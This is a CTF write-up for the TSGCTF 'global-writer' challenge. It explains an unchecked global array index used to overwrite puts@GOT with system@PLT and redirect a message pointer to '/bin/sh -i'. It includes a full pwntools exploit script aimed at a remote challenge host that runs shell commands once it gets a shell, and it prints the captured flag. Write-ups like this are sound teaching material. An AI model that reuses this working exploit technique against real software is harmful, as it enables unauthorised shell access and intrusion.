./contents.sh

z0d1ak@ctf:~$ cat sections.md
z0d1ak@ctf:~$ _
writeup.md - z0d1ak@ctf
Binary Exploitation
TSGCTF
December 22, 2025
4 min read

TSGCTF - global-writer

theg1239
z0d1ak@ctf:~$ ./author.sh

# global writer

## Summary

This challenge is a global out-of-bounds write.

  • The program lets you repeatedly set values[idx] = v.
  • There is no bounds check on idx.
  • values is a global array, so writing with negative indices walks backwards into other globals / GOT entries.
  • Goal: execute /bin/sh on the remote service and read the flag.

We solve it by:

  1. Writing the string "/bin/sh -i\0" into the global values[] buffer.
  2. Overwriting puts@GOT with system@PLT.
  3. Overwriting the global msg pointer to point at our values[] buffer.
  4. Triggering puts(msg) → actually system("/bin/sh -i").

## Files

  • Binary: global_writer/chal
  • Source: gglobal_writer/src.c

## Vulnerability

From src.c:

c
#define SIZE 0x10 char *msg = "Update Complete"; int values[SIZE]; int idx, i; ... scanf("%d", &idx); ... scanf("%d", &values[idx]); // <- OOB write, idx is unchecked ... puts(msg);

Because values is global, values[idx] indexes into the program’s .bss/.data region.

  • For idx >= SIZE, you write past the end.
  • For idx < 0, you write before the beginning.

That allows overwriting other global variables and also pointers stored in the writable GOT (the binary uses Partial RELRO).

## Mitigations / Why this still works

The compile flags in the comment suggest:

  • -no-piefixed addresses (very helpful)
  • -Wl,-z,relroPartial RELRO (GOT is still writable)
  • -fstack-protector-all → stack canary (irrelevant: we don’t smash the stack)
  • NX enabled (irrelevant: we reuse existing system)

Key point: Partial RELRO means puts@GOT is writable.

## Exploitation Strategy

### 1) Store the command string in memory

The program only accepts integers, but values[] is an int[], so we can write 4 bytes at a time.
On amd64 little-endian:

  • 0x6e69622f → bytes 2f 62 69 6e"/bin"
  • 0x2068732f → bytes 2f 73 68 20"/sh "
  • 0x0000692d → bytes 2d 69 00 00"-i\0\0"

So values[0..2] becomes the string "/bin/sh -i\0".

### 2) Turn puts(msg) into system(msg)

The program calls puts(msg) at the end of edit().
If we overwrite puts@GOT to point to system@PLT, then the call site effectively becomes:

c
system(msg);

Because the binary is non-PIE, system@PLT is at a fixed address.

### 3) Make msg point to our string

msg is a global char*. If we overwrite it to the address of values, then msg points to the command string we wrote.

### 4) Trigger

Entering -1 for index exits the input loop and reaches puts(msg).
After the GOT overwrite, that becomes system("/bin/sh -i").

## Computing the right indices

Let:

  • VALUES_ADDR = address of the global values array
  • TARGET_ADDR = address we want to overwrite

Since each values[i] is 4 bytes:

idx=TARGET_ADDRVALUES_ADDR4\text{idx} = \frac{\text{TARGET\_ADDR} - \text{VALUES\_ADDR}}{4}

This is exactly what the helper does in the exploit:

py
def idx_for(addr: int) -> int: return (addr - VALUES_ADDR) // 4

For 64-bit pointers (like msg or a GOT entry), write the low 32 bits to idx and the high 32 bits to idx+1.

## Exploit

The full exploit is included below. In short it:

  • writes "/bin/sh -i\0" into values[0..2]
  • overwrites puts@GOTsystem@PLT
  • overwrites msg&values[0]
  • sends -1 to trigger the call

## Flag

Retrieved from the remote server:

TSGCTF{6O7_4nd_6lob4l_v4r1able5_ar3_4dj4c3n7_1n_m3m0ry_67216011}
solve.sh - z0d1ak@ctf
#!/usr/bin/env python3
from pwn import *

HOST = os.environ.get("HOST", "34.84.25.24")
PORT = int(os.environ.get("PORT", "58554"))

# Static addresses from the provided non-PIE binary.
# values: 0x4040c0
# msg   : 0x404068
# puts@GOT: 0x404020
# system@PLT: 0x401070
VALUES_ADDR = 0x4040C0
SYSTEM_PLT = 0x401070
PUTS_GOT = 0x404020
MSG_PTR = 0x404068


def idx_for(addr: int) -> int:
    return (addr - VALUES_ADDR) // 4


def write_int(io, idx: int, val: int) -> None:
    io.sendlineafter(b"index? > ", str(idx).encode())
    io.sendlineafter(b"value? > ", str(val).encode())


def main() -> None:
    context.log_level = os.environ.get("LOG", "info")

    io = remote(HOST, PORT)

    # Write "/bin/sh -i\x00" into values[0..2]
    write_int(io, 0, 0x6E69622F)  # "/bin"
    write_int(io, 1, 0x2068732F)  # "/sh "
    write_int(io, 2, 0x0000692D)  # "-i\0\0"

    # Overwrite puts@GOT -> system@PLT
    write_int(io, idx_for(PUTS_GOT) + 0, SYSTEM_PLT & 0xFFFFFFFF)
    write_int(io, idx_for(PUTS_GOT) + 1, (SYSTEM_PLT >> 32) & 0xFFFFFFFF)

    # Overwrite msg pointer -> &values[0] (points to "/bin/sh")
    write_int(io, idx_for(MSG_PTR) + 0, VALUES_ADDR & 0xFFFFFFFF)
    write_int(io, idx_for(MSG_PTR) + 1, (VALUES_ADDR >> 32) & 0xFFFFFFFF)

    # Trigger: idx == -1 exits edit loop, then calls puts(msg) -> system("/bin/sh -i")
    io.sendlineafter(b"index? > ", b"-1")

    if os.environ.get("INTERACTIVE") == "1":
        io.interactive()
        return

    # Non-interactive mode (works better in CI/VS Code terminals): run a couple commands and exit.
    io.sendline(b"id")
    io.sendline(b"ls -la")
    io.sendline(b"cat flag-*.txt")
    io.sendline(b"exit")
    data = io.recvall(timeout=3)
    try:
        print(data.decode(errors="replace"))
    except Exception:
        print(repr(data))


if __name__ == "__main__":
    main()

Comments(0)

No comments yet. Be the first to share your thoughts!